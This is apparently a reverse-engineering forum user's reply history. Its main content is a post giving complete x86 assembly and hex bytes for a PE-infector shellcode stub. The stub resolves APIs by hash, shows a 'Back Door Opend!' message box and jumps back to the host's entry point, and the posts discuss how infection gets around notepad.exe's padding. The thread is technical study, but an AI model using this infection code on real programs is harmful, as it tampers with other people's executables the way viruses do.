|
谁有空帮忙看一下啊
手机不方便回复,感谢楼上回复。 |
|
谁有空帮忙看一下啊
因为memory alignment,内存对齐。 |
|
[原创]分享用C语言写ShellCode的实现源码
不错,感谢分享 而且还让我知道了为什么我的感染代码会出问题。 因为没有考虑对IMAGE_DATA_DIRECTORY进行相应的清除操作。 但是还是要说。。 你这是写壳的。。而不是写shell code的 虽然行为上都是在一个目标程序中插入代码,但是壳对稳定性健壮性要求更高。 而一般在漏洞中可利用的shell code对最终代码的体积要求更严格一些,可以说在写针对漏洞的Shell Code时,用高级语言来写是不合适甚至做不到的(除非内联asm),因为有一点很重要,大部分时间需要你去精确控制某些关键指令的地址。 不跟你再关于用什么语言写Shell Code更好这个问题做探讨了,就像CSDN里面你说一句C比C++好就能让一堆程序员一上午不工作在论坛打口水仗一样。 认为好的就继续坚持研究下去,挖掘出更多优势。 楼主加油。 |
|
[原创]分享用C语言写ShellCode的实现源码
不错,感谢分享 而且还让我知道了为什么我的感染代码会出问题。 因为没有考虑对IMAGE_DATA_DIRECTORY进行相应的清除操作。 但是还是要说。。 你这是写壳的。。而不是写shell code的 虽然行为上都是在一个目标程序中插入代码,但是壳对稳定性健壮性要求更高。 而一般在漏洞中可利用的shell code对最终代码的体积要求更严格一些,可以说在写针对漏洞的Shell Code时,用高级语言来写是不合适甚至做不到的(除非内联asm),因为有一点很重要,大部分时间需要你去精确控制某些关键指令的地址。 不跟你再关于用什么语言写Shell Code更好这个问题做探讨了,就像CSDN里面你说一句C比C++好就能让一堆程序员一上午不工作在论坛打口水仗一样。 认为好的就继续坚持研究下去,挖掘出更多优势。 楼主加油。 |
|
实习逆向4个月,觉得做不怎么来,辞了
逆的基础是正!先打好开发调试基础! |
|
|
|
[求助]如何实现在启动别人的EXE时先执行自己的程序,执行完自己的程序后再根据自己的程序的运行结果来确定是继续运行程序还是直接退出?
那我无话可说了 用这种方法来监控程序启动?你采用这种打补丁的方法就类似一个感染型病毒。 如果你是作为商业软件中的解决方案,那你要考虑这种方法在真正的用户端环境下可以正确工作么? 除非用户没有安装杀毒软件。 要不然就是你的程序本身就是恶意软件。 要是你只是想了解这种方法,那你提问的方式和切入点也完全偏离了方向。 感染就感染,说那么多描述还搞得别人弄不清的你目的。 |
|
[求助]如何实现在启动别人的EXE时先执行自己的程序,执行完自己的程序后再根据自己的程序的运行结果来确定是继续运行程序还是直接退出?
修改别人的程序属于犯罪行为,为什么要用这种方式?! |
|
[求助]如何实现在启动别人的EXE时先执行自己的程序,执行完自己的程序后再根据自己的程序的运行结果来确定是继续运行程序还是直接退出?
需要看你在哪个层次做了,在驱动层可以一劳永逸,需要hook的函数比较少,在应用层做就要考虑各种启动方式,然后hook住调用路径中的一些函数。 |
|
|
|
[原创]PE感染&ShellCode编写技术补充
[QUOTE=tihty;1186087]领悟了tishion兄的意思了,我把代码改了改,变成这样: int _tmain(int argc, _TCHAR* argv[]) { memset(hexData, 0x90, 348); hexData[343] = 0xe9; CPE32Infector * pInf...[/QUOTE] 就是这个意思。。。感染之后要不破坏程序的原始功能,所以还是要跳回OEP的。 |
|
[原创]PE感染&ShellCode编写技术补充
上面不就是么。。 |
|
[原创]PE感染&ShellCode编写技术补充
手误,没有把这行代码删掉。 用帖子里的代码进行感染的时候shell code的格式: LoadLibraryExA_Digest equ 0xc0d83287 LoadLibraryA_Digest equ 0x0C917432 MessageBoxA_Digest equ 0x1E380A6A FreeLibrary_Digest equ 0x30BA7C8C use32 shellcode_start: push ebp ;// 保存栈帧 mov ebp, esp ;// 获取USER32.DLL的基址 call @f du "USER32.DLL",0 @@: call get_module_base test eax, eax jz ._shellcode_return push eax ;// [ebp-4] ;// 获取MessageBoxA的地址 push MessageBoxA_Digest push eax call get_proc_address_by_digest test eax, eax jz ._shellcode_return ;// Shell Code. Shion [Shel l_Co de._ Shio n000 call @f db "Back Door Opend!", 0 @@: pop edi call @f db 'HA...', 0 @@: pop esi push 00000040h push esi push edi push 0 call eax ._shellcode_return: leave jmp jmp_to_oep ;/************************************************************************/ ;/* some useful procs for shell code programming. ;/* tishion ;/************************************************************************/ use32 get_peb: mov eax, 30h mov eax, [fs:eax] ;// eax = ppeb ret ;/************************************************************************/ ;/* Get base address of module ;* tishion ;* 2013-05-26 13:45:20 ;* IN: ;* ebp+8 = moudule name null-terminate string [WCHAR] ;* ;* OUT: ;* eax = ntdll.base ;* #define _Wcsnicmp_Digest 0x548b2e5f ;/************************************************************************/ use32 get_module_base: push ebp mov ebp, esp call get_ntdll_base jz ._find_modulebase_done push 548b2e5fh ;// hash of _wcsnicmp push eax call get_proc_address_by_digest test eax, eax ;// _wcsnicmp jz ._find_modulebase_done push eax ;// [ebp-04h]_wcsnicmp call get_peb test eax, eax jz ._find_modulebase_done mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA] mov esi, [eax+1ch] jmp ._compare_moudule_name ._find_modulebase_loop: mov esi, [esi] ;// esi = pLdr->InInitializationOrderModuleList ._compare_moudule_name: test esi, esi jz ._find_modulebase_done xor edi, edi mov di, word [esi+1ch] ;// length push edi push dword [esi+20h] ;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR] push dword [ebp+08h] mov edi, [ebp-04h] call edi test eax, eax jnz ._find_modulebase_loop mov eax, [esi+08h] ;// eax = pLdrDataTableEntry.DllBase ._find_modulebase_done: leave ret 4 ;/************************************************************************/ ;/* Get base address of ntdll.dll module ;* tishion ;* 2013-05-26 13:45:20 ;* ;* OUT: ;* eax = ntdll.base ;/************************************************************************/ use32 get_ntdll_base: call get_peb test eax, eax jz ._find_ntdllbase_done mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA] mov eax, [eax+1ch] ;// eax = pLdr->InInitializationOrderModuleList mov eax, [eax+08h] ;// eax = pLdrDataTableEntry.DllBase ._find_ntdllbase_done: ret ;/************************************************************************/ ;/* Get function name digest ;* tishion ;* 2013-05-26 13:45:20 ;* ;* IN: ;* esi = function name ;* OUT: ;* edx = digest ;/************************************************************************/ use32 get_ansi_string_digest: push eax xor edx, edx ._next_char: xor eax, eax lodsb test eax, eax jz ._done ror edx, 7 add edx, eax jmp ._next_char ._done: pop eax ret ;/************************************************************************/ ;/* Get function address by searching export table ;* tishion ;* 2013-05-26 13:50:13 ;* ;* IN: ;* [ebp+8] = module base ;* [ebp+0ch] = function name digest ;* OUT: ;* eax function address (null if failed) ;/************************************************************************/ use32 get_proc_address_by_digest: push ebp mov ebp, esp mov eax, [ebp+8] add eax, [eax+3ch] ;// eax = ImageNtHeader IMAGE_NT_HEADERS push eax ;// [ebp-04h] ;//add eax, 18h ;// eax = ImageOptionalHeader IMAGE_OPTIONAL_HEADER ;//add eax, 60h ;// eax = ImageExportDirectoryEntry IMAGE_DIRECTORY_ENTRY_EXPORT ;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下: add eax, 78h mov eax, [eax] ;// eax = RVA IMAGE_EXPORT_DIRECTORY add eax, [ebp+08h] ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY mov ecx, eax mov eax, [ecx+20h] add eax, [ebp+08h] ;// eax = AddressOfNames push eax ;// [ebp-08h] 导出名称地址表 mov eax, [ecx+24h] add eax, [ebp+08h] ;// eax = AddressOfNameOrdinals push eax ;// [ebp-0ch] 导出序号表 mov eax, [ecx+1ch] add eax, [ebp+08h] ;// eax = AddressOfFunctions push eax ;// [ebp-10h] 导出RAV地址表 push dword [ecx+10h] ;// [ebp-14h]ordinals base push dword [ecx+14h] ;// [ebp-18h]NumberOfFunctions push dword [ecx+18h] ;// [ebp-1ch]NumberOfNames mov ecx, [ebp-1ch] mov ebx, ecx mov eax, [ebp-08h] ._find_func: mov edi, ebx sub edi, ecx mov esi, [eax+edi*4] test esi, esi ;// esi是否NULL loope ._find_func inc ecx add esi, [ebp+08h] call get_ansi_string_digest cmp edx, [ebp+0ch] loopne ._find_func ;// ecx 为目标函数在函数名数组中的index xor edx, edx mov eax, [ebp-0ch] mov dx, [eax+edi*2] cmp edx, [ebp-18h] jae ._return_null mov eax, [ebp-10h] ;// eax = AddressOfFunctions mov eax, [eax+edx*4] ;// edi = RVA地址数组的地址 edi+4*序号 即为 某一函数的RVA地址 add eax, [ebp+08h] jmp ._function_found_done ._return_null: xor eax, eax ._function_found_done: leave ret 8 use32 jmp_to_oep: jmp shellcode_start 对应的二进制值 unsigned char hexData[348] = { 0x55, 0x89, 0xE5, 0xE8, 0x16, 0x00, 0x00, 0x00, 0x55, 0x00, 0x53, 0x00, 0x45, 0x00, 0x52, 0x00, 0x33, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x44, 0x00, 0x4C, 0x00, 0x4C, 0x00, 0x00, 0x00, 0xE8, 0x4E, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x3B, 0x50, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x50, 0xE8, 0xB2, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x2B, 0xE8, 0x11, 0x00, 0x00, 0x00, 0x42, 0x61, 0x63, 0x6B, 0x20, 0x44, 0x6F, 0x6F, 0x72, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x64, 0x21, 0x00, 0x5F, 0xE8, 0x06, 0x00, 0x00, 0x00, 0x48, 0x41, 0x2E, 0x2E, 0x2E, 0x00, 0x5E, 0x6A, 0x40, 0x56, 0x57, 0x6A, 0x00, 0xFF, 0xD0, 0xC9, 0xE9, 0xEF, 0x00, 0x00, 0x00, 0xB8, 0x30, 0x00, 0x00, 0x00, 0x64, 0x8B, 0x00, 0xC3, 0x55, 0x89, 0xE5, 0xE8, 0x46, 0x00, 0x00, 0x00, 0x74, 0x40, 0x68, 0x5F, 0x2E, 0x8B, 0x54, 0x50, 0xE8, 0x5F, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x31, 0x50, 0xE8, 0xD8, 0xFF, 0xFF, 0xFF, 0x85, 0xC0, 0x74, 0x27, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xEB, 0x02, 0x8B, 0x36, 0x85, 0xF6, 0x74,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FF }; 这段代码是假设user32.dll已经被程序载入了的,所以只能用于感染有GUI的exe. |
|
[原创]PE感染&ShellCode编写技术补充
这个。。。我看到你写的代码,就觉得我跟你也说不清。。 不妨从整体来考虑一下shell code的处理方法。 如果你有了一定的汇编基础,或者你对程序的本质有了更透彻的理解,在回来看shell code,你会有不一样的想法的。 就当个人偏好吧,关于用什么写好一点这个没法争论下去的。 |
|
[原创]PE感染&ShellCode编写技术补充
Shell Code的写法 最后一条指令一定要为jmp指令。我默认最后一条指令为jmp指令 然后计算oep到该指令的便宜 然后修改操作数 完成这条jmp指令 如果你照这样写还有问题的话 可以尝试一下调试你的shellcode 晚上回去贴个我的shell code出来。 |
|
[原创]PE感染&ShellCode编写技术补充
你提个功能,开个新帖,咱各自用各自的方法写出实现这个功能的shell Code 然后对比一下各自的优缺点。 |
|
[原创]PE感染&ShellCode编写技术补充
[QUOTE=tihty;1185850]unsigned char hexData[348]; int _tmain(int argc, _TCHAR* argv[]) { memset(hexData, 0x90, 348); CPE32Infector * pInfector = CPE32Infector::GetInstan...[/QUOTE] 这个问题是已知的。不要小瞧了Windows 的notepad.exe 这个exe是编译后做了PADDING变异处理的,他在SectionHeader表的后面紧跟着有一段导入表的数据,我也没有仔细分析这个EXE是怎么处理的,但是可以肯定他这么做的目的就是防止感染型病毒。 |
|
[求助]按照zhuliang帖子 调试程序发现问题
.....什么意思? 符号是保存在PDB文件中。exe中根本不带调试符号信息,最多是一个PDB文件的路径。 如果IDA没有PDB可以把一个exe里面的所有的sub给你翻译成符号,那就不会有所谓的逆向工程了。 学逆向还是先把调试技能打扎实点。 keywords:symbols; pdb |
|
这家伙那么恐怖吗?才下1次,没人接单指点吗?
这个帖子里面活生生一个很悲剧的故事。这个故事反映出了关于学习,关于分享的一些消极反面的问题。好悲剧~ |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值